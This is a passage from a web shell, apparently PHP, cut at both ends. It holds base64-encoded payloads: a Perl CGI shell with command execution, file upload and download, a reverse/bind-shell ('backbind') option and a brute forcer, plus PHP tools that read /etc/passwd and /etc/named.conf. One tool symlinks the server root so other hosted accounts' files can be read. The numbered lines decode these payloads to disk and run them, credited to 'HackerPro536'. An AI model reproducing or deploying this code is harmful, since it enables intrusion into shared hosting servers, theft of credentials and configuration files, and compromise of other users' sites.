cXC9nOwoJcmV0dXJuICRzdHJpbmc7Cn0Kc3ViIFRyaW1TbGFzaGVzKCQpCnsKCW15ICRzdHJpbmcgPSBzaGlmdDsKCSRzdHJpbmc9fiBzL1wvXC8vXC8vZzsKCSRzdHJpbmc9fiBzL1xcXFwvXFwvZzsKCXJldHVybiAkc3RyaW5nOwp9CnN1YiBMaXN0RGlyCnsKCW15ICRwYXRoID0gJlRyaW1TbGFzaGVzKCRDdXJyZW50RGlyLiRQYXRoU2VwKTsKCW15ICRyZXN1bHQgPSAiPGZvcm0gbmFtZT0nZicgb25TdWJtaXQ9XCJFbmNvZGVyKCdkJylcIiBhY3Rpb249JyRTY3JpcHRMb2NhdGlvbic+PHNwYW4gc3R5bGU9J2ZvbnQ6IDExcHQgVmVyZGFuYTsgZm9udC13ZWlnaHQ6IGJvbGQ7Jz5QYXRoOiBbICIuJkFkZExpbmtEaXIoImd1aSIpLiIgXSA8L3NwYW4+PGlucHV0IHR5cGU9J3RleHQnIGlkPSdkJyBuYW1lPSdkJyBzaXplPSc0MCcgdmFsdWU9JyRDdXJyZW50RGlyJyAvPjxpbnB1dCB0eXBlPSdoaWRkZW4nIG5hbWU9J2EnIHZhbHVlPSdndWknPjxpbnB1dCBjbGFzcz0nc3VibWl0JyB0eXBlPSdzdWJtaXQnIHZhbHVlPSdDaGFuZ2UnPjwvZm9ybT4iOwoJaWYoLWQgJHBhdGgpCgl7CgkJbXkgQGZuYW1lID0gKCk7CgkJbXkgQGRuYW1lID0gKCk7CgkJaWYob3BlbmRpcihESVIsJHBhdGgpKQoJCXsKCQkJd2hpbGUoJGZpbGUgPSByZWFkZGlyKERJUikpCgkJCXsKCQkJCSRmPSRwYXRoLiRmaWxlOwoJCQkJaWYoLWQgJGYpCgkJCQl7CgkJCQkJcHVzaChAZG5hbWUsJGZpbGUpOwoJCQkJfQoJCQkJZWxzZQoJCQkJewoJCQkJCXB1c2goQGZuYW1lLCRmaWxlKTsKCQkJCX0KCQkJfQoJCQljbG9zZWRpcihESVIpOwoJCX0KCQlAZm5hbWUgPSBzb3J0IHsgbGMoJGEpIGNtcCBsYygkYikgfSBAZm5hbWU7CgkJQGRuYW1lID0gc29ydCB7IGxjKCRhKSBjbXAgbGMoJGIpIH0gQGRuYW1lOwoJCSRyZXN1bHQgLj0gIjxkaXY+PHRhYmxlIHdpZHRoPSc5MCUnIGNsYXNzPSdsaXN0ZGlyJz4KCQk8dHIgc3R5bGU9J2JhY2tncm91bmQtY29sb3I6ICMzZTNlM2UnPjx0aD5GaWxlIE5hbWU8L3RoPgoJCTx0aCB3aWR0aD0nMTAwJz5GaWxlIFNpemU8L3RoPgoJCTx0aCB3aWR0aD0nMTUwJz5Pd25lcjwvdGg+CgkJPHRoIHdpZHRoPScxMDAnPlBlcm1pc3Npb248L3RoPgoJCTx0aCB3aWR0aD0nMTUwJz5MYXN0IE1vZGlmaWVkPC90aD4KCQk8dGggd2lkdGg9JzIzMCc+QWN0aW9uPC90aD48L3RyPiI7CgkJbXkgJHN0eWxlPSJub3RsaW5lIjsKCQlteSAkaT0wOwoJCWZvcmVhY2ggbXkgJGQgKEBkbmFtZSkKCQl7CgkJCSRzdHlsZT0gKCRzdHlsZSBlcSAibGluZSIpID8gIm5vdGxpbmUiOiAibGluZSI7CgkJCSRkID0gJnRyaW0oJGQpOwoJCQkkZGlybmFtZT0kZDsKCQkJaWYoJGQgZXEgIi4uIikgCgkJCXsKCQkJCSRkID0gJlBhcmVudEZvbGRlcigkcGF0aCk7CgkJCX0KCQkJZWxzaWYoJGQgZXEgIi4iKSAKCQkJewoJCQkJbmV4dDsKCQkJfQoJCQllbHNlIAoJCQl7CgkJCQkkZCA9ICRwYXRoLiRkOwoJCQl9CgkJCSRyZXN1bHQgLj0gIjx0ciBjbGFzcz0nJHN0eWxlJz48dGQgaWQ9J0ZpbGVfJGknIGNsYXNzPSdkaXInPjxhICBocmVmPSc/YT1ndWkmZD0iLiZFbmNvZGVEaXIoJGQpLiInPlsgIi4kZGlybmFtZS4iIF08L2E+PC90ZD4iOwoJCQkkcmVzdWx0IC49ICI8dGQ+RElSPC90ZD4iOwoJCQkkcmVzdWx0IC49ICI8dGQ+Ii4mRmlsZU93bmVyKCRkKS4iPC90ZD4iOwoJCQkkcmVzdWx0IC49ICI8dGQgaWQ9J0ZpbGVQZXJtc18kaScgb25kYmxjbGljaz1cInJtX2NobW9kX2Zvcm0odGhpcywiLiRpLiIsJyIuJkZpbGVQZXJtcygkZCkuIicsJyIuJGRpcm5hbWUuIicpXCIgPjxzcGFuIG9uY2xpY2s9XCJjaG1vZF9mb3JtKCIuJGkuIiwnIi4kZGlybmFtZS4iJylcIiA+Ii4mRmlsZVBlcm1zKCRkKS4iPC9zcGFuPjwvdGQ+IjsKCQkJJHJlc3VsdCAuPSAiPHRkPiIuJkZpbGVMYXN0TW9kaWZpZWQoJGQpLiI8L3RkPiI7CgkJCSRyZXN1bHQgLj0gIjx0ZD48YSBvbmNsaWNrPVwicmVuYW1lX2Zvcm0oJGksJyRkaXJuYW1lJywnIi4mQWRkU2xhc2hlcygmQWRkU2xhc2hlcygkZCkpLiInKTsgcmV0dXJuIGZhbHNlOyBcIj5SZW5hbWU8L2E+ICB8IDxhIG9uY2xpY2s9XCJpZighY29uZmlybSgnUmVtb3ZlIGRpcjogJGRpcm5hbWUgPycpKSB7IHJldHVybiBmYWxzZTt9XCIgaHJlZj0nP2E9Z3VpJmQ9Ii4mRW5jb2RlRGlyKCRwYXRoKS4iJnJlbW92ZT0kZGlybmFtZSc+UmVtb3ZlPC9hPjwvdGQ+IjsKCQkJJHJlc3VsdCAuPSAiPC90cj4iOwoJCQkkaSsrOwoJCX0KCQlmb3JlYWNoIG15ICRmIChAZm5hbWUpCgkJewoJCQkkc3R5bGU9ICgkc3R5bGUgZXEgImxpbmUiKSA/ICJub3RsaW5lIjogImxpbmUiOwoJCQkkZmlsZT0kZjsKCQkJJGYgPSAkcGF0aC4kZjsKCQkJbXkgJGFjdGlvbiA9IGVuY29kZV9iYXNlNjQoImVkaXQgIi4kZmlsZSk7CgkJCSR2aWV3ID0gIj9kaXI9Ii4kcGF0aC4iJnZpZXc9Ii4kZjsKCQkJJHJlc3VsdCAuPSAiPHRyIGNsYXNzPSckc3R5bGUnPjx0ZCBpZD0nRmlsZV8kaScgY2xhc3M9J2ZpbGUnPjxhIGhyZWY9Jz9hPWNvbW1hbmQmZD0iLiZFbmNvZGVEaXIoJHBhdGgpLiImYz0iLiRhY3Rpb24uIic+Ii4kZmlsZS4iPC9hPjwvdGQ+IjsKCQkJJHJlc3VsdCAuPSAiPHRkPiIuJlBhcnNlRmlsZVNpemUoJkZpbGVTaXplKCRmKSkuIjwvdGQ+IjsKCQkJJHJlc3VsdCAuPSAiPHRkPiIuJkZpbGVPd25lcigkZikuIjwvdGQ+IjsKCQkJJHJlc3VsdCAuPSAiPHRkIGlkPSdGaWxlUGVybXNfJGknIG9uZGJsY2xpY2s9XCJybV9jaG1vZF9mb3JtKHRoaXMsIi4kaS4iLCciLiZGaWxlUGVybXMoJGYpLiInLCciLiRmaWxlLiInKVwiID48c3BhbiBvbmNsaWNrPVwiY2htb2RfZm9ybSgkaSwnJGZpbGUnKVwiID4iLiZGaWxlUGVybXMoJGYpLiI8L3NwYW4+PC90ZD4iOwoJCQkkcmVzdWx0IC49ICI8dGQ+Ii4mRmlsZUxhc3RNb2RpZmllZCgkZikuIjwvdGQ+IjsKCQkJJHJlc3VsdCAuPSAiPHRkPjxhIG9uY2xpY2s9XCJyZW5hbWVfZm9ybSgkaSwnJGZpbGUnLCdmJyk7IHJldHVybiBmYWxzZTtcIj5SZW5hbWU8L2E+IHwgPGEgaHJlZj0nP2E9ZG93bmxvYWQmbz1nbyZmPSIuJGYuIic+RG93bmxvYWQ8L2E+IHwgPGEgb25jbGljaz1cImlmKCFjb25maXJtKCdSZW1vdmUgZmlsZTogJGZpbGUgPycpKSB7IHJldHVybiBmYWxzZTt9XCIgaHJlZj0nP2E9Z3VpJmQ9Ii4mRW5jb2RlRGlyKCRwYXRoKS4iJnJlbW92ZT0kZmlsZSc+UmVtb3ZlPC9hPjwvdGQ+IjsKCQkJJHJlc3VsdCAuPSAiPC90cj4iOwoJCQkkaSsrOwoJCX0KCQkkcmVzdWx0IC49ICI8L3RhYmxlPjwvZGl2PiI7Cgl9CglyZXR1cm4gJHJlc3VsdDsKfQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCiMgVHJ5IHRvIFZpZXcgTGlzdCBVc2VyCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0Kc3ViIFZpZXdEb21haW5Vc2VyCnsKCW9wZW4gKGQwbWFpbnMsICcvZXRjL25hbWVkLmNvbmYnKSBvciAkZXJyPTE7CglteSBAY256cyA9IDxkMG1haW5zPjsKCWNsb3NlIGQwbWFpbnM7CglteSAkc3R5bGU9ImxpbmUiOwoJbXkgJHJlc3VsdD0iPGgzPjxmb250IHN0eWxlPSdmb250OiAxNXB0IFZlcmRhbmE7Y29sb3I6ICNmZjk5MDA7Jz5XYXJuaW5nICEgU2hlbGwgaXMgdXNlZCB0byByZWZlciBub3QgdG8gaGFjazwvZm9udD48L2gzPiI7CglpZiAoJGVycikKCXsKCQkkcmVzdWx0IC49ICAoJzxwPkMwdWxkblwndCBCeXBhc3MgaXQgLCBTb3JyeTwvcD4nKTsKCQlyZXR1cm4gJHJlc3VsdDsKCX1lbHNlCgl7CgkJJHJlc3VsdCAuPSAnPHRhYmxlIGlkPSJkb21haW4iPjx0cj48dGg+ZDBtYWluczwvdGg+IDx0aD5Vc2VyPC90aD48L3RyPic7Cgl9Cglmb3JlYWNoIG15ICRvbmUgKEBjbnpzKQoJewoJCWlmKCRvbmUgPX4gbS8uKj96b25lICIoLio/KSIgey8pCgkJewkKCQkJJHN0eWxlPSAoJHN0eWxlIGVxICJsaW5lIikgPyAibm90bGluZSI6ICJsaW5lIjsKCQkJJGZpbGVuYW1lPSB0cmltKCIvZXRjL3ZhbGlhc2VzLyIuJDEpOwoJCQkkb3duZXIgPSBnZXRwd3VpZCgoc3RhdCgkZmlsZW5hbWUpKVs0XSk7CgkJCSRyZXN1bHQgLj0gJzx0ciBzdHlsZT0iJHN0eWxlIiB3aWR0aD01MCU+PHRkPjxhIGhyZWY9Imh0dHA6Ly8nLiQxLiciIHRhcmdldD0iX2JsYW5rIj4nLiQxLic8L2E+PC90ZD48dGQ+ICcuJG93bmVyLic8L3RkPjwvdHI+JzsKCQl9Cgl9CgkkcmVzdWx0IC49ICc8L3RhYmxlPic7CglyZXR1cm4gJHJlc3VsdDsKfQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCiMgVmlldyBMb2cKIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQpzdWIgVmlld0xvZwp7CgkkRW5jb2RlQ3VycmVudERpciA9IEVuY29kZURpcigkQ3VycmVudERpcik7CglpZigkV2luTlQpCgl7CgkJcmV0dXJuICI8aDI+PGZvbnQgc3R5bGU9J2ZvbnQ6IDIwcHQgVmVyZGFuYTtjb2xvcjogI2ZmOTkwMDsnPkRvbid0IHJ1biBvbiBXaW5kb3dzPC9mb250PjwvaDI+IjsKCX0KCW15ICRyZXN1bHQ9Ijx0YWJsZT48dHI+PHRoPlBhdGggTG9nPC90aD48dGg+U3VibWl0PC90aD48L3RyPiI7CglteSBAcGF0aGxvZz0oCScvdXNyL2xvY2FsL2FwYWNoZS9sb2dzL2Vycm9yX2xvZycsCgkJCScvdXNyL2xvY2FsL2FwYWNoZS9sb2dzL2FjY2Vzc19sb2cnLAoJCQknL3Vzci9sb2NhbC9hcGFjaGUyL2NvbmYvaHR0cGQuY29uZicsCgkJCScvdmFyL2xvZy9odHRwZC9lcnJvcl9sb2cnLAoJCQknL3Zhci9sb2cvaHR0cGQvYWNjZXNzX2xvZycsCgkJCScvdXNyL2xvY2FsL2NwYW5lbC9sb2dzL2Vycm9yX2xvZycsCgkJCScvdXNyL2xvY2FsL2NwYW5lbC9sb2dzL2FjY2Vzc19sb2cnLAoJCQknL3Vzci9sb2NhbC9hcGFjaGUvbG9ncy9zdXBocF9sb2cnLAoJCQknL3Vzci9sb2NhbC9jcGFuZWwvbG9ncycsCgkJCScvdXNyL2xvY2FsL2NwYW5lbC9sb2dzL3N0YXRzX2xvZycsCgkJCScvdXNyL2xvY2FsL2NwYW5lbC9sb2dzL2FjY2Vzc19sb2cnLAoJCQknL3Vzci9sb2NhbC9jcGFuZWwvbG9ncy9lcnJvcl9sb2cnLAoJCQknL3Vzci9sb2NhbC9jcGFuZWwvbG9ncy9saWNlbnNlX2xvZycsCgkJCScvdXNyL2xvY2FsL2NwYW5lbC9sb2dzL2xvZ2luX2xvZycsCgkJCScvdXNyL2xvY2FsL2NwYW5lbC9sb2dzL3N0YXRzX2xvZycsCgkJCScvdmFyL2NwYW5lbC9jcGFuZWwuY29uZmlnJywKCQkJJy91c3IvbG9jYWwvcGhwL2xpYi9waHAuaW5pJywKCQkJJy91c3IvbG9jYWwvcGhwNS9saWIvcGhwLmluaScsCgkJCScvdmFyL2xvZy9teXNxbC9teXNxbC1iaW4ubG9nJywKCQkJJy92YXIvbG9nL215c3FsLmxvZycsCgkJCScvdmFyL2xvZy9teXNxbGRlcnJvci5sb2cnLAoJCQknL3Zhci9sb2cvbXlzcWwvbXlzcWwubG9nJywKCQkJJy92YXIvbG9nL215c3FsL215c3FsLXNsb3cubG9nJywKCQkJJy92YXIvbXlzcWwubG9nJywKCQkJJy92YXIvbGliL215c3FsL215LmNuZicsCgkJCScvZXRjL215c3FsL215LmNuZicsCgkJCScvZXRjL215LmNuZicsCgkJCSk7CglteSAkaT0wOwoJbXkgJHBlcm1zOwoJbXkgJHNsOwoJZm9yZWFjaCBteSAkbG9nIChAcGF0aGxvZykKCXsKCQlpZigtciAkbG9nKQoJCXsKCQkJJHBlcm1zPSJPSyI7CgkJfWVsc2UKCQl7CgkJCSRwZXJtcz0iPGZvbnQgc3R5bGU9J2NvbG9yOiByZWQ7Jz5DYW5jZWw8Zm9udD4iOwoJCX0KCQkkcmVzdWx0IC49PDxFTkQ7CgkJPHRyPgoKCQkJPGZvcm0gYWN0aW9uPSIiIG1ldGhvZD0icG9zdCIgb25TdWJtaXQ9IkVuY29kZXIoJ2xvZyRpJykiPgoJCQk8dGQ+PGlucHV0IHR5cGU9InRleHQiIGlkPSJsb2ckaSIgbmFtZT0iYyIgdmFsdWU9InRhaWwgLTEwMDAwICRsb2cgfCBncmVwICcvaG9tZSciIHNpemU9JzUwJy8+PC90ZD4KCQkJPHRkPjxpbnB1dCBjbGFzcz0ic3VibWl0IiB0eXBlPSJzdWJtaXQiIHZhbHVlPSJUcnkiIC8+PC90ZD4KCQkJPGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0iYSIgdmFsdWU9ImNvbW1hbmQiIC8+CgkJCTxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9ImQiIHZhbHVlPSIkRW5jb2RlQ3VycmVudERpciIgLz4KCQkJPC9mb3JtPgoJCQk8dGQ+JHBlcm1zPC90ZD4KCgkJPC90cj4KRU5ECgkJJGkrKzsKCX0KCSRyZXN1bHQgLj0iPC90YWJsZT4iOwoJcmV0dXJuICRyZXN1bHQ7Cn0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQojIE1haW4gUHJvZ3JhbSAtIEV4ZWN1dGlvbiBTdGFydHMgSGVyZQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCiZSZWFkUGFyc2U7CiZHZXRDb29raWVzOwoKJFNjcmlwdExvY2F0aW9uID0gJEVOVnsnU0NSSVBUX05BTUUnfTsKJFNlcnZlck5hbWUgPSAkRU5WeydTRVJWRVJfTkFNRSd9OwokTG9naW5QYXNzd29yZCA9ICRpbnsncCd9OwokUnVuQ29tbWFuZCA9IGRlY29kZV9iYXNlNjQoJGlueydjJ30pOwokVHJhbnNmZXJGaWxlID0gJGlueydmJ307CiRPcHRpb25zID0gJGlueydvJ307CiRBY3Rpb24gPSAkaW57J2EnfTsKCiRBY3Rpb24gPSAiY29tbWFuZCIgaWYoJEFjdGlvbiBlcSAiIik7ICMgbm8gYWN0aW9uIHNwZWNpZmllZCwgdXNlIGRlZmF1bHQKCiMgZ2V0IHRoZSBkaXJlY3RvcnkgaW4gd2hpY2ggdGhlIGNvbW1hbmRzIHdpbGwgYmUgZXhlY3V0ZWQKJEN1cnJlbnREaXIgPSAmVHJpbVNsYXNoZXMoZGVjb2RlX2Jhc2U2NCh0cmltKCRpbnsnZCd9KSkpOwojIG1hYyBkaW5oIHh1YXQgdGhvbmcgdGluIG5ldSBrbyBjbyBsZW5oIG5hbyEKJFJ1bkNvbW1hbmQ9ICRXaW5OVD8iZGlyIjoiZGlyIC1saWEiIGlmKCRSdW5Db21tYW5kIGVxICIiKTsKY2hvbXAoJEN1cnJlbnREaXIgPSBgJENtZFB3ZGApIGlmKCRDdXJyZW50RGlyIGVxICIiKTsKCiRMb2dnZWRJbiA9ICRDb29raWVzeydTQVZFRFBXRCd9IGVxICRQYXNzd29yZDsKCmlmKCRBY3Rpb24gZXEgImxvZ2luIiB8fCAhJExvZ2dlZEluKSAJCSMgdXNlciBuZWVkcy9oYXMgdG8gbG9naW4KewoJJlBlcmZvcm1Mb2dpbjsKfWVsc2lmKCRBY3Rpb24gZXEgImd1aSIpICMgR1VJIGRpcmVjdG9yeQp7CgkmUHJpbnRQYWdlSGVhZGVyKCJkIik7CglpZighJFdpbk5UKQoJewoJCSRjaG1vZD1pbnQoJGlueydjaG1vZCd9KTsKCQlpZigkY2htb2QgbmUgMCkKCQl7CgkJCSRjaG1vZD1pbnQoJGlueydjaG1vZCd9KTsKCQkJJGZpbGU9JEN1cnJlbnREaXIuJFBhdGhTZXAuJFRyYW5zZmVyRmlsZTsKCQkJaWYoY2htb2QoJGNobW9kLCRmaWxlKSkKCQkJewoJCQkJcHJpbnQgIjxydW4+IERvbmUhIDwvcnVuPjxicj4iOwoJCQl9ZWxzZQoJCQl7CgkJCQlwcmludCAiPHJ1bj4gU29ycnkhIFlvdSBkb250IGhhdmUgcGVybWlzc2lvbnMhIDwvcnVuPjxicj4iOwoJCQl9CgkJfQoJfQoJJHJlbmFtZT0kaW57J3JlbmFtZSd9OwoJaWYoJHJlbmFtZSBuZSAiIikKCXsKCQlpZihyZW5hbWUoJFRyYW5zZmVyRmlsZSwkcmVuYW1lKSkKCQl7CgkJCXByaW50ICI8cnVuPiBEb25lISA8L3J1bj48YnI+IjsKCQl9ZWxzZQoJCXsKCQkJcHJpbnQgIjxydW4+IFNvcnJ5ISBZb3UgZG9udCBoYXZlIHBlcm1pc3Npb25zISA8L3J1bj48YnI+IjsKCQl9Cgl9CgkkcmVtb3ZlPSRpbnsncmVtb3ZlJ307CglpZigkcmVtb3ZlIG5lICIiKQoJewoJCSRybSA9ICRDdXJyZW50RGlyLiRQYXRoU2VwLiRyZW1vdmU7CgkJaWYoLWQgJHJtKQoJCXsKCQkJJlJtRGlyKCRybSk7CgkJfWVsc2UKCQl7CgkJCWlmKHVubGluaygkcm0pKQoJCQl7CgkJCQlwcmludCAiPHJ1bj4gRG9uZSEgPC9ydW4+PGJyPiI7CgkJCX1lbHNlCgkJCXsKCQkJCXByaW50ICI8cnVuPiBTb3JyeSEgWW91IGRvbnQgaGF2ZSBwZXJtaXNzaW9ucyEgPC9ydW4+PGJyPiI7CgkJCX0JCQkKCQl9Cgl9CglwcmludCAmTGlzdERpcjsKCn0KZWxzaWYoJEFjdGlvbiBlcSAiY29tbWFuZCIpCQkJCSAJIyB1c2VyIHdhbnRzIHRvIHJ1biBhIGNvbW1hbmQKewoJJlByaW50UGFnZUhlYWRlcigiYyIpOwoJcHJpbnQgJkV4ZWN1dGVDb21tYW5kOwp9CmVsc2lmKCRBY3Rpb24gZXEgInNhdmUiKQkJCQkgCSMgdXNlciB3YW50cyB0byBzYXZlIGEgZmlsZQp7CgkmUHJpbnRQYWdlSGVhZGVyOwoJaWYoJlNhdmVGaWxlKCRpbnsnZGF0YSd9LCRpbnsnZmlsZSd9KSkKCXsKCQlwcmludCAiPHJ1bj4gRG9uZSEgPC9ydW4+PGJyPiI7Cgl9ZWxzZQoJewoJCXByaW50ICI8cnVuPiBTb3JyeSEgWW91IGRvbnQgaGF2ZSBwZXJtaXNzaW9ucyEgPC9ydW4+PGJyPiI7Cgl9CglwcmludCAmTGlzdERpcjsKfWVsc2lmKCRBY3Rpb24gZXEgInVwbG9hZCIpIAkJCQkJIyB1c2VyIHdhbnRzIHRvIHVwbG9hZCBhIGZpbGUKewoJJlByaW50UGFnZUhlYWRlcigiYyIpOwoJcHJpbnQgJlVwbG9hZEZpbGU7Cn1lbHNpZigkQWN0aW9uIGVxICJiYWNrYmluZCIpIAkJCQkjIHVzZXIgd2FudHMgdG8gYmFjayBjb25uZWN0IG9yIGJpbmQgcG9ydAp7CgkmUHJpbnRQYWdlSGVhZGVyKCJjbGllbnRwb3J0Iik7CglwcmludCAmQmFja0JpbmQ7Cn1lbHNpZigkQWN0aW9uIGVxICJicnV0ZWZvcmNlciIpIAkJCSMgdXNlciB3YW50cyB0byBicnV0ZSBmb3JjZQp7CgkmUHJpbnRQYWdlSGVhZGVyOwoJcHJpbnQgJkJydXRlRm9yY2VyOwp9ZWxzaWYoJEFjdGlvbiBlcSAiZG93bmxvYWQiKSAJCQkJIyB1c2VyIHdhbnRzIHRvIGRvd25sb2FkIGEgZmlsZQp7CglwcmludCAmRG93bmxvYWRGaWxlOwp9ZWxzaWYoJEFjdGlvbiBlcSAiY2hlY2tsb2ciKSAJCQkJIyB1c2VyIHdhbnRzIHRvIHZpZXcgbG9nIGZpbGUKewoJJlByaW50UGFnZUhlYWRlcjsKCXByaW50ICZWaWV3TG9nOwoKfWVsc2lmKCRBY3Rpb24gZXEgImRvbWFpbnN1c2VyIikgCQkJIyB1c2VyIHdhbnRzIHRvIHZpZXcgbGlzdCB1c2VyL2RvbWFpbgp7CgkmUHJpbnRQYWdlSGVhZGVyOwoJcHJpbnQgJlZpZXdEb21haW5Vc2VyOwp9ZWxzaWYoJEFjdGlvbiBlcSAibG9nb3V0IikgCQkJCSMgdXNlciB3YW50cyB0byBsb2dvdXQKewoJJlBlcmZvcm1Mb2dvdXQ7Cn0KJlByaW50UGFnZUZvb3RlcjsK
1229';
1230 $file = fopen("error.log", "w+");
1231 $write = fwrite($file, base64_decode($pythonp));
1232 fclose($file);
1233 chmod("error.log", 0755);
1234 echo "<iframe src=error/error.log width=100% height=720px frameborder=0></iframe><br><center><b>Code by HackerPro536</b></center> ";
1235} elseif ($action == 'jump') {
1236 $file = fopen($dir . "jump.php", "w+");
1237 $perltoolss = 'PD9waHAKJHgxNT0iYXJyYXlfcHVzaCI7ICR4MTY9ImZlb2YiOyAkeDE3PSJmZ2V0cyI7ICR4MTg9ImZvcGVuIjsgJHgxOT0iaW5pX2dldCI7ICR4MWE9ImlzX3JlYWRhYmxlIjsgJHgxYj0ic2V0X3RpbWVfbGltaXQiOyAkeDFjPSJzdHJwb3MiOyAkeDFkPSJzdWJzdHIiOygkeDBiID0gJHgxOSgnc2FmZV9tb2RlJykgPT0gMCkgPyAkeDBiID0gJ29mZic6IGRpZSgnPGI+RXJyb3I6IFNhZmUgTW9kZSBpcyBPbjwvYj4nKTskeDFiKDApO0AkeDBjID0gJHgxOCgnL2V0Yy9wYXNzd2QnLCdyJyk7aWYgKCEkeDBjKSB7IGRpZSgnPGI+IEVycm9yIDogQ2FuIE5vdCBSZWFkIENvbmZpZyBPZiBTZXJ2ZXIgPC9iPicpOyB9JHgwZCA9IGFycmF5KCk7JHgwZSA9IGFycmF5KCk7JHgwZiA9IGFycmF5KCk7JHgxMCA9IDA7ZWNobyAiPGI+PGZvbnQgZmFjZT1WZXJkYW5hIHNpemU9MyBjb2xvcj1UZWFsPiBTZXJ2ZXIgSnVtcGluZyBGaW5kZXIgVmVyc2lvbiAxLjAgPC9mb250PjwvYj48YnIgLz4iO2VjaG8gIjxiciAvPiI7ZWNobyAiPGZvbnQgZmFjZT1WZXJkYW5hIHNpemU9MiBjb2xvcj1NYXJvb24+IE9rLCBMZXQncyBCZWdpbiAuLi4gPC9mb250PjxiciAvPiI7ZWNobyAiPGZvbnQgZmFjZT1WZXJkYW5hIHNpemU9MiBjb2xvcj1UZWFsPioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKjwvZm9udD48YnIgLz4iO3doaWxlKCEkeDE2KCR4MGMpKXskeDExID0gJHgxNygkeDBjKTtpZiAoJHgxMCA+IDM1KXskeDEyID0gJHgxYygkeDExLCc6Jyk7JHgxMyA9ICR4MWQoJHgxMSwwLCR4MTIpOyR4MTQgPSAnL2hvbWUvJy4keDEzLicvcHVibGljX2h0bWwvJztpZiAoKCR4MTMgIT0gJycpKXtpZiAoJHgxYSgkeDE0KSl7JHgxNSgkeDBlLCR4MTMpOyR4MTUoJHgwZCwkeDE0KTtlY2hvICI8Zm9udCBmYWNlPVZlcmRhbmEgc2l6ZT0yIGNvbG9yPVJlZD5bRm91bmQgIV0gJHgxNDwvZm9udD4iO2VjaG8gIjxici8+Ijt9fX0keDEwKys7fWVjaG8gIjxmb250IGZhY2U9VmVyZGFuYSBzaXplPTIgY29sb3I9VGVhbD4qKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKio8L2ZvbnQ+PGJyIC8+IjtlY2hvICI8YnIgLz4iO2VjaG8gIjxmb250IGZhY2U9VmVyZGFuYSBzaXplPTIgY29sb3I9TWFyb29uPlRoYW5rcyBGb3IgVXNpbmcgVGhpcyBTaW1wbGUgVG9vbHMuICBeX148L2ZvbnQ+PGJyIC8+IjtlY2hvICI8Zm9udCBmYWNlPVZlcmRhbmEgc2l6ZT0yPjwvZm9udD4iO2VjaG8gIjxmb250IGZhY2U9VmVyZGFuYSBzaXplPTI+PC9mb250PiI7Cj8+';
1238 $file = fopen("jump.php", "w+");
1239 $write = fwrite($file, base64_decode($perltoolss));
1240 fclose($file);
1241 echo "<iframe src=jump.php width=100% height=720px frameborder=0></iframe><br><center><b>Code by HackerPro536</b></center> ";
1242} elseif ($action == 'symlink') {
1243 $file = fopen($dir . "symlink.php", "w+");
1244 $perltoolss = 'PD9waHAgICAKQHNldF90aW1lX2xpbWl0KDApOwpAbWtkaXIoJ3N5bScsMDc3Nyk7CiRodGFjY2VzcyAgPSAiT3B0aW9ucyBhbGwgXG4gRGlyZWN0b3J5SW5kZXggU3V4Lmh0bWwgXG4gQWRkVHlwZSB0ZXh0L3BsYWluIC5waHAgXG4gQWRkSGFuZGxlciBzZXJ2ZXItcGFyc2VkIC5waHAgXG4gIEFkZFR5cGUgdGV4dC9wbGFpbiAuaHRtbCBcbiBBZGRIYW5kbGVyIHR4dCAuaHRtbCBcbiBSZXF1aXJlIE5vbmUgXG4gU2F0aXNmeSBBbnkiOwokd3JpdGUgPUBmb3BlbiAoJ3N5bS8uaHRhY2Nlc3MnLCd3Jyk7CmZ3cml0ZSgkd3JpdGUgLCRodGFjY2Vzcyk7CkBzeW1saW5rKCcvJywnc3ltL3Jvb3QnKTsKJGZpbGVsb2NhdGlvbiA9IGJhc2VuYW1lKF9fRklMRV9fKTsKJHJlYWRfbmFtZWRfY29uZiA9IEBmaWxlKCcvZXRjL25hbWVkLmNvbmYnKTsKaWYoISRyZWFkX25hbWVkX2NvbmYpCnsKZWNobyAiPHByZSBjbGFzcz1tbDEgc3R5bGU9J21hcmdpbi10b3A6NXB4Jz4jIENhbnQgYWNjZXNzIHRoaXMgZmlsZSBvbiBzZXJ2ZXIgLT4gWyAvZXRjL25hbWVkLmNvbmYgXTwvcHJlPjwvY2VudGVyPiI7IAp9CmVsc2UKewplY2hvICI8Y2VudGVyPjxicj48ZGl2IGNsYXNzPSd0bXAnPjx0YWJsZSBib3JkZXI9JzEnIGJvcmRlcmNvbG9yPScjMDBmZjAwJyB3aWR0aD0nNTAwJyBjZWxscGFkZGluZz0nMScgY2VsbHNwYWNpbmc9JzAnPjx0ZD5Eb21haW5zPC90ZD48dGQ+VXNlcnM8L3RkPjx0ZD5zeW1saW5rIDwvdGQ+IjsKZm9yZWFjaCgkcmVhZF9uYW1lZF9jb25mIGFzICRzdWJqZWN0KXsKaWYoZXJlZ2koJ3pvbmUnLCRzdWJqZWN0KSl7CnByZWdfbWF0Y2hfYWxsKCcjem9uZSAiKC4qKSIjJywkc3ViamVjdCwkc3RyaW5nKTsKZmx1c2goKTsKaWYoc3RybGVuKHRyaW0oJHN0cmluZ1sxXVswXSkpID4yKXsKJFVJRCA9IHBvc2l4X2dldHB3dWlkKEBmaWxlb3duZXIoJy9ldGMvdmFsaWFzZXMvJy4kc3RyaW5nW